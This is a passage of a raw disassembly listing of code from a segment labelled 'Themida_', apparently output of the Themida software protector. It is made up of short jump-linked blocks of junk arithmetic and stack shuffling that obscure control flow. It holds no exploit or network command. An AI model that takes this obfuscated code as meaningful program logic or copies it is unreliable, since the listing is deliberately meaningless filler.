		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, eax
		jmp	loc_565AC4
; ---------------------------------------------------------------------------


loc_55D3BF:				; CODE XREF: Themida_:0055FEA1j
		push	ebp
		jmp	loc_55AF4B
; ---------------------------------------------------------------------------


loc_55D3C5:				; CODE XREF: Themida_:0055B818j
		xor	ecx, 71BE61AAh
		add	ebx, ecx
		pop	ecx
		push	1524h
		mov	[esp], esi
		mov	esi, 4
		push	esi
		mov	esi, 4C025224h
		and	esi, 89D1FFCh
		xor	esi, 3DE155B1h
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 725356B1h
		add	ebx, eax
		jmp	loc_55A8F3
; ---------------------------------------------------------------------------


loc_55D405:				; CODE XREF: Themida_:00552AAAj
		sub	al, cl
		add	al, 6Eh
		push	edx
		mov	edx, esp
		jmp	loc_550DB2
; ---------------------------------------------------------------------------


loc_55D411:				; CODE XREF: Themida_:0056460Aj
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	6EDAh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_55B320
; ---------------------------------------------------------------------------


loc_55D439:				; CODE XREF: Themida_:00565038j
		push	7E01h
		mov	[esp], esi
		add	dword ptr [esp], 60DB0ACFh
		pop	edi
		push	esi
		mov	esi, 60DB0ACFh
		jmp	loc_5507B1
; ---------------------------------------------------------------------------


loc_55D454:				; CODE XREF: Themida_:0055255Bj
		pop	edi
		jmp	loc_55E9AF
; ---------------------------------------------------------------------------


loc_55D45A:				; CODE XREF: Themida_:0056519Bj
		pop	eax
		pop	ebx
		shl	esi, 1
		shr	esi, 4
		and	esi, 24D56E5Ah
		sub	esi, 1
		push	ebp
		mov	ebp, 7DC36593h
		shl	ebp, 4
		and	ebp, 143A3B7Bh
		push	ebp
		sub	dword ptr [esp], 0FFFFFFFFh
		jmp	loc_55716F
; ---------------------------------------------------------------------------


loc_55D489:				; CODE XREF: Themida_:0055A666j
		pop	ecx
		add	esi, ebx
		pop	ebx
		pop	eax
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55606B
; ---------------------------------------------------------------------------


loc_55D49F:				; CODE XREF: Themida_:005655E6j
		add	eax, 3C5FEAD4h
		mov	edx, eax
		jmp	loc_565470
; ---------------------------------------------------------------------------


loc_55D4AB:				; CODE XREF: Themida_:0055F9C1j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55F433
; ---------------------------------------------------------------------------


loc_55D4CB:				; CODE XREF: Themida_:00555811j
		sub	al, dh
		add	al, 36h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55FB6D
; ---------------------------------------------------------------------------


loc_55D4DA:				; CODE XREF: Themida_:0055212Fj
		sub	ebx, 0E1EEBB3Dh
		sub	ecx, 69F13D1h
		add	ecx, ebx
		push	edx
		jmp	loc_550B2C
; ---------------------------------------------------------------------------


loc_55D4EE:				; CODE XREF: Themida_:00562776j
		add	ebx, edx
		pop	edx
		add	ebx, edx
		push	edi
		jmp	loc_558173
; ---------------------------------------------------------------------------


loc_55D4F9:				; CODE XREF: Themida_:00554740j
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 0D6C4873h
		xor	esi, 6C6E7039h
		and	esi, 8FB3861h
		push	edi
		mov	edi, 23844h
		jmp	loc_55ACE1
; ---------------------------------------------------------------------------


loc_55D519:				; CODE XREF: Themida_:00562AC7j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_564F12
; ---------------------------------------------------------------------------


loc_55D526:				; CODE XREF: Themida_:0055E95Aj
		mov	esi, [esp]
		add	esp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	8Bh
		jmp	loc_554B62
; ---------------------------------------------------------------------------


loc_55D541:				; CODE XREF: Themida_:0055736Ej
		pop	eax
		push	5Fh
		mov	[esp], ebp
		jmp	loc_55E44D
; ---------------------------------------------------------------------------


loc_55D54F:				; CODE XREF: Themida_:0056420Cj
		push	esi
		mov	esi, 497D033Bh
		shr	esi, 4
		add	esi, 29D838C4h
		neg	esi
		shr	esi, 2
		shl	esi, 8
		add	esi, 0FC46F69h
		sub	ecx, 0CBB7D9Eh
		sub	ecx, esi
		add	ecx, 0CBB7D9Eh
		mov	esi, [esp]
		jmp	loc_5641D6
; ---------------------------------------------------------------------------


loc_55D582:				; CODE XREF: Themida_:005550E4j
		xor	bl, al
		movzx	eax, al
		jmp	loc_554DE1
; ---------------------------------------------------------------------------


loc_55D58C:				; CODE XREF: Themida_:00559EF9j
		add	al, 7Bh
		push	edx
		mov	dl, 0D9h
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5610B3
; ---------------------------------------------------------------------------


loc_55D59F:				; CODE XREF: Themida_:00560967j
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_559B82
; ---------------------------------------------------------------------------


loc_55D5B0:				; CODE XREF: Themida_:0055B52Ej
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ecx
		push	ebx
		jmp	loc_55C537
; ---------------------------------------------------------------------------


loc_55D5C5:				; CODE XREF: Themida_:00552497j
		mov	ah, dl
		pop	edx
		mov	dh, 67h
		sub	dh, ah
		pop	eax
		not	dh
		inc	dh
		sub	dh, 1
		not	dh
		push	bx
		push	edx
		mov	dl, 2Eh
		add	dl, 67h
		neg	dl
		jmp	loc_563169
; ---------------------------------------------------------------------------


loc_55D5E5:				; CODE XREF: Themida_:005540EBj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	18Eh
		mov	[esp], ecx
		jmp	loc_5519EE
; ---------------------------------------------------------------------------


loc_55D5FC:				; CODE XREF: Themida_:00550A5Fj
		mov	ecx, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		sub	edi, 338B1AAAh
		add	edi, edx
		jmp	loc_552A3D
; ---------------------------------------------------------------------------


loc_55D627:				; CODE XREF: Themida_:005545D9j
		dec	al
		dec	al
		jmp	loc_5608A7
; ---------------------------------------------------------------------------


loc_55D630:				; CODE XREF: Themida_:0055DC90j
		push	ebp
		jmp	loc_55E02F
; ---------------------------------------------------------------------------


loc_55D636:				; CODE XREF: Themida_:0055EB47j
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		dec	esi
		sub	esp, 4
		jmp	loc_558F75
; ---------------------------------------------------------------------------


loc_55D652:				; CODE XREF: Themida_:005538FAj
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_5655AE
; ---------------------------------------------------------------------------


loc_55D673:				; CODE XREF: Themida_:005530F9j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55E0E8
; ---------------------------------------------------------------------------


loc_55D682:				; CODE XREF: Themida_:0055E754j
		inc	ebx
		or	ebx, 4F4755C7h
		add	ebx, 4AADBFBCh
		mov	edx, ebx
		jmp	loc_553F91
; ---------------------------------------------------------------------------


loc_55D696:				; CODE XREF: Themida_:0056333Ej
		xchg	ebx, [esp]
		pop	esp
		add	edx, 7050C95h
		jmp	loc_555125
; ---------------------------------------------------------------------------


loc_55D6A5:				; CODE XREF: Themida_:0055F58Aj
		add	edx, 18A52665h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 2
		sub	edx, 655E2478h
		jmp	loc_55BF6D
; ---------------------------------------------------------------------------


loc_55D6C3:				; CODE XREF: Themida_:00557804j
		pop	esi
		shr	ecx, 4
		push	edx
		jmp	loc_55D08F
; ---------------------------------------------------------------------------


loc_55D6CD:				; CODE XREF: Themida_:00557B97j
		push	edx
		mov	edx, 30CD63D5h
		add	ebp, edx
		pop	edx
		add	ebp, edi
		push	esi
		mov	esi, 58C5514Dh
		and	esi, 12DE3EE3h
		jmp	loc_55F4F2
; ---------------------------------------------------------------------------


loc_55D6E9:				; CODE XREF: Themida_:0055C05Bj
		pop	esi
		shr	esi, 2
		xor	esi, edx
		xor	edx, esi
		jmp	loc_561FCD
; ---------------------------------------------------------------------------


loc_55D6F6:				; CODE XREF: Themida_:00559788j
		pop	eax
		jmp	loc_5567AD
; ---------------------------------------------------------------------------


loc_55D6FC:				; CODE XREF: Themida_:00555F50j
		mov	[esp], ebx
		mov	bh, dl
		jmp	loc_553988
; ---------------------------------------------------------------------------


loc_55D706:				; CODE XREF: Themida_:00552859j
		add	[esp+4], ebp
		add	dword ptr [esp+4], 39035DBEh
		sub	dword ptr [esp+4], 72712E10h
		push	dword ptr [esp]
		jmp	loc_564529
; ---------------------------------------------------------------------------


loc_55D722:				; CODE XREF: Themida_:0055CF49j
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		push	6E19h
		jmp	loc_5601CB
; ---------------------------------------------------------------------------


loc_55D73F:				; CODE XREF: Themida_:0055ABE5j
		mov	ebx, 56932B76h
		mov	edi, 42C90AFFh
		or	edi, 7F746A26h
		not	edi
		not	edi
		push	esi
		mov	esi, 296A3F87h
		sub	edi, esi
		pop	esi
		sub	edi, ebx
		mov	ebx, [esp]
		jmp	loc_55A7D3
; ---------------------------------------------------------------------------


loc_55D766:				; CODE XREF: Themida_:0055F91Dj
		sub	esi, edx
		pop	edx
		dec	esi
		or	esi, 703B1B91h
		sub	esi, 44732BD0h
		xor	esi, 4FD472E2h
		jmp	loc_5533CF
; ---------------------------------------------------------------------------


loc_55D781:				; CODE XREF: Themida_:00554A3Cj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_5608AD
; ---------------------------------------------------------------------------


loc_55D795:				; CODE XREF: Themida_:00552F0Cj
		push	3474h
		mov	[esp], ecx
		jmp	loc_564D76
; ---------------------------------------------------------------------------


loc_55D7A2:				; CODE XREF: Themida_:00559859j
		or	ecx, 439002E2h
		dec	ecx
		neg	ecx
		add	ecx, 4AC74540h
		add	ecx, 0B13442A5h
		add	[esp+4], ecx
		pop	ecx
		pop	ecx
		push	ebx
		jmp	loc_562F85
; ---------------------------------------------------------------------------


loc_55D7C3:				; CODE XREF: Themida_:0055E7E1j
		mov	edx, [esp]
		jmp	loc_553078
; ---------------------------------------------------------------------------


loc_55D7CB:				; CODE XREF: Themida_:005547EAj
		push	edi
		push	69D02289h
		pop	edi
		and	esi, edi
		pop	edi
		jmp	loc_55BA51
; ---------------------------------------------------------------------------


loc_55D7DA:				; CODE XREF: Themida_:005583B0j
		inc	eax
		xor	eax, 41830A7Bh
		add	esi, eax
		pop	eax
		jmp	loc_55E3BB
; ---------------------------------------------------------------------------


loc_55D7E8:				; CODE XREF: Themida_:00561099j
		push	ebp
		jmp	loc_55FAEF
; ---------------------------------------------------------------------------


loc_55D7EE:				; CODE XREF: Themida_:00564A0Aj
		push	4751h
		mov	[esp], esi
		push	edx
		push	0E170BB3h
		pop	edx
		sub	edx, 0FFFFFFFFh
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		push	ebp
		mov	ebp, 44A02F89h
		shl	ebp, 3
		xchg	eax, ebp
		inc	eax
		xchg	eax, ebp
		xor	ebp, 0C02CD631h
		jmp	loc_558B0F
; ---------------------------------------------------------------------------


loc_55D81D:				; CODE XREF: Themida_:0055DEA2j
		mov	al, dh
		push	edx
		mov	dl, al
		mov	bh, dl
		mov	edx, [esp]
		jmp	loc_55943F
; ---------------------------------------------------------------------------


loc_55D82C:				; CODE XREF: Themida_:00562DFEj
		add	al, 0D9h
		sub	bl, 11h
		add	bl, al
		jmp	loc_554199
; ---------------------------------------------------------------------------


loc_55D838:				; CODE XREF: Themida_:00550CD4j
		add	edx, 49B9515Fh
		add	edx, 3A836982h
		jmp	loc_56269D
; ---------------------------------------------------------------------------


loc_55D849:				; CODE XREF: Themida_:0055BAB9j
		push	esi
		mov	esi, 9E56211h
		xor	edx, esi
		jmp	loc_560637
; ---------------------------------------------------------------------------


loc_55D856:				; CODE XREF: Themida_:0055D9B1j
		mov	edi, ebp
		pop	ebp
		and	edi, 2C5908C1h
		or	edi, 7F6F577Ah
		push	edx
		push	5FECh
		mov	[esp], esi
		mov	esi, 3A12C99h
		mov	edx, esi
		pop	esi
		shr	edx, 4
		dec	edx
		shr	edx, 7
		push	esi
		mov	esi, 1DFE27CCh
		not	esi
		xor	esi, 97DADFE9h
		sub	edx, 1F403C05h
		add	edx, esi
		jmp	loc_5547AA
; ---------------------------------------------------------------------------


loc_55D898:				; CODE XREF: Themida_:00553C1Cj
		sub	eax, esi
		pop	esi
		add	ebx, eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 594E7051h
		add	edx, 53337E02h
		add	edx, eax
		push	esi
		mov	esi, 4BB44CC1h
		jmp	loc_55F6DE
; ---------------------------------------------------------------------------


loc_55D8BD:				; CODE XREF: Themida_:00556EECj
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		push	ebp
		mov	ebp, 62C26069h
		dec	ebp
		jmp	loc_5629A3
; ---------------------------------------------------------------------------


loc_55D8DC:				; CODE XREF: Themida_:005556A0j
		add	edx, 4
		push	esi
		push	edx
		mov	edx, 30F6247Fh
		jmp	loc_560171
; ---------------------------------------------------------------------------


loc_55D8EE:				; CODE XREF: Themida_:0055545Cj
		xor	[esp+4], ecx
		jmp	loc_55F269
; ---------------------------------------------------------------------------


loc_55D8F7:				; CODE XREF: Themida_:0055C98Dj
		mov	ebx, 554707D0h
		add	ebp, ebx
		jmp	loc_5630D6
; ---------------------------------------------------------------------------


loc_55D903:				; CODE XREF: Themida_:00561C3Aj
		mov	ebx, 2
		add	ebp, ebx
		jmp	loc_565CB6
; ---------------------------------------------------------------------------


loc_55D90F:				; CODE XREF: Themida_:00551BE8j
		shl	ecx, 7
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55F89B
; ---------------------------------------------------------------------------


loc_55D920:				; CODE XREF: Themida_:0055A441j
		mov	[esp], ecx
		jmp	loc_5508E8
; ---------------------------------------------------------------------------


loc_55D928:				; CODE XREF: Themida_:00564847j
		push	1173h
		mov	[esp], esi
		mov	esi, 29715142h
		and	edx, esi
		pop	esi
		and	edx, 6B782F3Eh
		jmp	loc_562B70
; ---------------------------------------------------------------------------


loc_55D943:				; CODE XREF: Themida_:0055FB41j
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_56406F
; ---------------------------------------------------------------------------


loc_55D954:				; CODE XREF: Themida_:00561EF1j
		and	ecx, 6CBB4C3Bh
		or	ecx, 3674284Bh
		dec	ecx
		not	ecx
		sub	ecx, 2792301Ah
		xor	ecx, 0CB7127C8h
		xor	edi, ecx
		pop	ecx
		jmp	loc_55BC72
; ---------------------------------------------------------------------------


loc_55D977:				; CODE XREF: Themida_:005532C0j
		not	dword ptr [esp]
		jmp	loc_5630AE
; ---------------------------------------------------------------------------


loc_55D97F:				; CODE XREF: Themida_:005524FEj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		sub	esi, 173388Dh
		add	esi, eax
		add	esi, 173388Dh
		jmp	loc_558E23
; ---------------------------------------------------------------------------


loc_55D9A2:				; CODE XREF: Themida_:00565561j
		mov	[esp], edi
		push	ebp
		mov	ebp, 254C5178h
		add	ebp, 5871E48h
		jmp	loc_55D856
; ---------------------------------------------------------------------------


loc_55D9B6:				; CODE XREF: Themida_:0055F7F2j
		shr	eax, 6
		shl	eax, 1
		jmp	loc_5630E8
; ---------------------------------------------------------------------------


loc_55D9C0:				; CODE XREF: Themida_:00562CBFj
		add	edx, ebp
		pop	ebp
		push	eax
		jmp	loc_565AA5
; ---------------------------------------------------------------------------


loc_55D9C9:				; CODE XREF: Themida_:0056571Cj
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_55BAA1
; ---------------------------------------------------------------------------


loc_55D9D6:				; CODE XREF: Themida_:0056591Bj
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_56455B
; ---------------------------------------------------------------------------


loc_55D9E0:				; CODE XREF: Themida_:00554641j
		add	esp, 4
		jmp	loc_55B420
; ---------------------------------------------------------------------------


loc_55D9E8:				; CODE XREF: Themida_:00553B35j
		mov	[esp], ebp
		mov	ebp, 4321361Eh
		push	eax
		mov	eax, 27B867E9h
		add	ebx, eax
		pop	eax
		sub	ebx, ebp
		push	esi
		mov	esi, 31D3416Bh
		jmp	loc_55978D
; ---------------------------------------------------------------------------


loc_55DA06:				; CODE XREF: Themida_:005613E2j
		push	edi
		mov	edi, esp
		jmp	loc_55ACC7
; ---------------------------------------------------------------------------


loc_55DA0E:				; CODE XREF: Themida_:0055B919j
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_55A857
; ---------------------------------------------------------------------------


loc_55DA1F:				; CODE XREF: Themida_:00557B84j
		pop	eax
		shr	edi, 6
		shr	edi, 5
		add	edi, 186ECB2Ah
		mov	ebx, edi
		pop	edi
		sub	ebp, 6A6B0C9Ah
		sub	ebp, ebx
		add	ebp, 6A6B0C9Ah
		jmp	loc_564100
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	4BADh
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		jmp	loc_565032
; ---------------------------------------------------------------------------


loc_55DA5B:				; CODE XREF: Themida_:00558F38j
		sub	ebp, 3B7E1510h
		add	eax, ebp
		pop	ebp
		mov	ebx, eax
		jmp	loc_551148
; ---------------------------------------------------------------------------


loc_55DA6B:				; CODE XREF: Themida_:00552097j
		add	eax, 6A123BABh
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_551C35
; ---------------------------------------------------------------------------


loc_55DA87:				; CODE XREF: Themida_:00558B0Aj
		inc	eax
		jmp	loc_555637
; ---------------------------------------------------------------------------


loc_55DA8D:				; CODE XREF: Themida_:0055970Fj
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		not	eax
		xor	eax, 0E755D346h
		add	ebp, 553746FCh
		jmp	loc_551F5D
; ---------------------------------------------------------------------------


loc_55DAA3:				; CODE XREF: Themida_:00559588j
		mov	[esp], ecx
		mov	ecx, 1DB03F0Dh
		or	ebp, ecx
		jmp	loc_550860
; ---------------------------------------------------------------------------


loc_55DAB2:				; CODE XREF: Themida_:005625D9j
		push	ecx
		mov	ecx, esp
		jmp	loc_55FEF1
; ---------------------------------------------------------------------------


loc_55DABA:				; CODE XREF: Themida_:0055E488j
		and	ebx, 2107326h
		push	549Ch
		mov	[esp], ecx
		mov	ecx, 0E055CD24h
		sub	ebx, ecx
		jmp	loc_56438C
; ---------------------------------------------------------------------------


loc_55DAD4:				; CODE XREF: Themida_:00561521j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55E858
; ---------------------------------------------------------------------------


loc_55DADF:				; CODE XREF: Themida_:00551E6Fj
		pop	dx
		jmp	loc_551AFD
; ---------------------------------------------------------------------------


loc_55DAE6:				; CODE XREF: Themida_:0056086Bj
		or	ecx, 4461BAh
		sub	ecx, 1C577C20h
		xor	ecx, 26933250h
		sub	ecx, 7081C508h
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebx, eax
		push	ecx
		mov	ecx, 72B20C38h
		xor	ecx, 155D516Dh
		shr	ecx, 8
		jmp	loc_564886
; ---------------------------------------------------------------------------


loc_55DB1D:				; CODE XREF: Themida_:00560FC1j
		mov	esi, 27515BF9h
		mov	edi, esi
		pop	esi
		jmp	loc_559091
; ---------------------------------------------------------------------------


loc_55DB2A:				; CODE XREF: Themida_:00558940j
		mov	edx, 3CB56D00h
		add	edx, 2BA120BEh
		sub	edx, 32A67965h
		push	eax
		jmp	loc_56330E
; ---------------------------------------------------------------------------


loc_55DB41:				; CODE XREF: Themida_:00562925j
		push	edi
		mov	edi, 218B0B9Bh
		push	971h
		mov	[esp], esi
		mov	esi, 11FE1725h
		or	edi, esi
		pop	esi
		shr	edi, 6
		xor	edi, 3A4D3FC2h
		shr	edi, 7
		dec	edi
		xor	edi, 5CA3AE4h
		jmp	loc_556046
; ---------------------------------------------------------------------------


loc_55DB6F:				; CODE XREF: Themida_:005635EDj
		add	ebp, 69093D21h
		add	ebp, 0A8947472h
		jmp	loc_563396
; ---------------------------------------------------------------------------


loc_55DB80:				; CODE XREF: Themida_:005541F3j
		push	ecx
		mov	cl, 78h
		push	dx
		mov	dl, 97h
		add	cl, dl
		pop	dx
		sub	cl, 91h
		push	edx
		mov	dh, 2Dh
		and	cl, dh
		pop	edx
		shl	cl, 8
		push	edx
		mov	dh, 81h
		jmp	loc_563BFD
; ---------------------------------------------------------------------------


loc_55DB9F:				; CODE XREF: Themida_:00561828j
		xor	ebp, 2BA9421Ah
		jmp	loc_55BF18
; ---------------------------------------------------------------------------


loc_55DBAA:				; CODE XREF: Themida_:0055AD67j
		mov	[esp], edi
		jmp	loc_562715
; ---------------------------------------------------------------------------


loc_55DBB2:				; CODE XREF: Themida_:00550E55j
		push	ebp
		jmp	loc_562162
; ---------------------------------------------------------------------------


loc_55DBB8:				; CODE XREF: Themida_:0055A3C5j
		add	ebp, 4
		jmp	loc_5593FA
; ---------------------------------------------------------------------------


loc_55DBC3:				; CODE XREF: Themida_:00557A3Dj
		pop	eax
		xchg	edi, [esp]
		pop	esp
		add	ebx, eax
		push	esi
		jmp	loc_55C97E
; ---------------------------------------------------------------------------


loc_55DBD0:				; CODE XREF: Themida_:00553974j
		and	ecx, edi
		pop	edi
		shl	ecx, 1
		add	ecx, 1A6C9AFDh
		jmp	loc_5534D1
; ---------------------------------------------------------------------------


loc_55DBE0:				; CODE XREF: Themida_:00551C38j
		pop	esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_552149
; ---------------------------------------------------------------------------


loc_55DBEE:				; CODE XREF: Themida_:00555A03j
		dec	ecx
		not	ecx
		add	ecx, 5B7D5145h
		mov	edx, ecx
		pop	ecx
		add	[esp+4], edx
		pop	edx
		pop	ebx
		add	ebx, 4
		push	48F5h
		mov	[esp], ebp
		jmp	loc_55D2B5
; ---------------------------------------------------------------------------


loc_55DC13:				; CODE XREF: Themida_:0055D1D3j
		mov	esp, [esp]
		push	edi
		jmp	loc_559DE2
; ---------------------------------------------------------------------------


loc_55DC1C:				; CODE XREF: Themida_:00553905j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55E32C
; ---------------------------------------------------------------------------


loc_55DC25:				; CODE XREF: Themida_:00550EAAj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_560F43
; ---------------------------------------------------------------------------


loc_55DC36:				; CODE XREF: Themida_:0055B539j
		add	ebx, 0B0C8C811h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5514BA
; ---------------------------------------------------------------------------


loc_55DC4D:				; CODE XREF: Themida_:00560A3Aj
		mov	ebx, 598C54D8h
		jmp	loc_552AE9
; ---------------------------------------------------------------------------


loc_55DC57:				; CODE XREF: Themida_:00550A0Bj
		push	edx
		mov	edx, 439369EFh
		sub	edx, 0FFFFFFFFh
		shr	edx, 7
		add	edx, 45156B32h
		dec	edx
		shl	edx, 1
		jmp	loc_559EA0
; ---------------------------------------------------------------------------


loc_55DC74:				; CODE XREF: Themida_:00562B59j
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55F8DD
; ---------------------------------------------------------------------------


loc_55DC85:				; CODE XREF: Themida_:005608DAj
		sub	al, cl
		jmp	loc_552AA7
; ---------------------------------------------------------------------------


loc_55DC8C:				; CODE XREF: Themida_:005654ADj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55D630
; ---------------------------------------------------------------------------


loc_55DC95:				; CODE XREF: Themida_:0055BE83j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7FBCE507h
		add	eax, 88344D6h
		push	ebx
		mov	ebx, 1D22678h
		sub	eax, ebx
		jmp	loc_556BCE
; ---------------------------------------------------------------------------


loc_55DCB5:				; CODE XREF: Themida_:00562DD3j
		add	ebp, 4
		jmp	loc_559B22
; ---------------------------------------------------------------------------


loc_55DCC0:				; CODE XREF: Themida_:005596D8j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55DCC5:				; CODE XREF: Themida_:0055E5CFj
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5643B7
; ---------------------------------------------------------------------------


loc_55DCE0:				; CODE XREF: Themida_:005533F8j
		pop	esp
		mov	[esp], esi
		mov	esi, 35AB1158h
		jmp	loc_558D2F
; ---------------------------------------------------------------------------


loc_55DCEE:				; CODE XREF: Themida_:00564C0Fj
		shr	esi, 7
		xor	esi, 206A3F54h
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_554ECD
; ---------------------------------------------------------------------------


loc_55DD01:				; CODE XREF: Themida_:00565BCDj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	21C1h
		mov	[esp], edi
		push	eax
		push	esi
		push	665C2100h
		jmp	loc_55A979
; ---------------------------------------------------------------------------


loc_55DD29:				; CODE XREF: Themida_:00553F83j
		inc	dword ptr [esp]
		pop	edi
		xchg	ebp, edi
		dec	ebp
		jmp	loc_561A62
; ---------------------------------------------------------------------------


loc_55DD35:				; CODE XREF: Themida_:00556F8Dj
		mov	ecx, [esp]
		add	esp, 4
		add	eax, edi
		add	eax, 16145A36h
		jmp	loc_558D85
; ---------------------------------------------------------------------------


loc_55DD4A:				; CODE XREF: Themida_:00551DE8j
		add	edx, 0F4017483h
		mov	eax, edx
		pop	edx
		push	eax
		mov	eax, 1F59481Ch
		add	ecx, 707750B7h
		jmp	loc_565CA9
; ---------------------------------------------------------------------------


loc_55DD64:				; CODE XREF: Themida_:0055EF7Cj
		add	ebp, 3690612Eh
		neg	ebp
		push	ebp
		jmp	loc_55685D
; ---------------------------------------------------------------------------


loc_55DD72:				; CODE XREF: Themida_:00562AEFj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_5595B7
; ---------------------------------------------------------------------------


loc_55DD80:				; CODE XREF: Themida_:0056020Ej
		push	0D40h
		jmp	loc_550D26
; ---------------------------------------------------------------------------


loc_55DD8A:				; CODE XREF: Themida_:0055C122j
		push	eax
		mov	eax, 7B8719E3h
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565510
; ---------------------------------------------------------------------------


loc_55DD9F:				; CODE XREF: Themida_:0055BFF3j
		add	esi, 77C42039h
		sub	esi, 758E1132h
		add	esi, 3E582B83h
		jmp	loc_55B228
; ---------------------------------------------------------------------------


loc_55DDB6:				; CODE XREF: Themida_:0055E826j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55DDBB:				; CODE XREF: Themida_:0055FD6Aj
		add	eax, 0FFFFFFFFh
		add	eax, 48D63FA2h
		jmp	loc_55526F
; ---------------------------------------------------------------------------


loc_55DDC8:				; CODE XREF: Themida_:0055EF3Fj
		add	eax, edi
		add	eax, 38002E0Bh
		pop	edi
		jmp	loc_55B66D
; ---------------------------------------------------------------------------


loc_55DDD5:				; CODE XREF: Themida_:00563FA9j
		add	esp, 4
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55DDE5:				; CODE XREF: Themida_:00559C0Bj
		add	ebp, eax
		pop	eax
		sub	ebx, ebp
		pop	ebp
		jmp	loc_564A63
; ---------------------------------------------------------------------------


loc_55DDF0:				; CODE XREF: Themida_:005644DCj
		pop	ecx
		xor	ecx, 274157CDh
		jmp	loc_5548B2
; ---------------------------------------------------------------------------


loc_55DDFC:				; CODE XREF: Themida_:005647E3j
		push	edx
		mov	edx, 679361Ch
		not	edx
		and	edx, 3B740EAEh
		inc	edx
		xor	edx, 1D7F258Ah
		jmp	loc_556703
; ---------------------------------------------------------------------------


loc_55DE16:				; CODE XREF: Themida_:0055237Bj
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		jmp	loc_555508
; ---------------------------------------------------------------------------


loc_55DE25:				; CODE XREF: Themida_:00550DFFj
		mov	dl, 30h
		jmp	loc_55D031
; ---------------------------------------------------------------------------


loc_55DE2C:				; CODE XREF: Themida_:00551FF2j
		sub	ecx, esi
		pop	esi
		xor	ecx, 75652A25h
		push	ebx
		mov	ebx, 25F12FCEh
		jmp	loc_563EA8
; ---------------------------------------------------------------------------


loc_55DE40:				; CODE XREF: Themida_:00555B69j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_5514E6
; ---------------------------------------------------------------------------


loc_55DE4F:				; CODE XREF: Themida_:0055132Fj
		mov	dh, 0D0h
		add	al, dh
		jmp	loc_5529AE
; ---------------------------------------------------------------------------


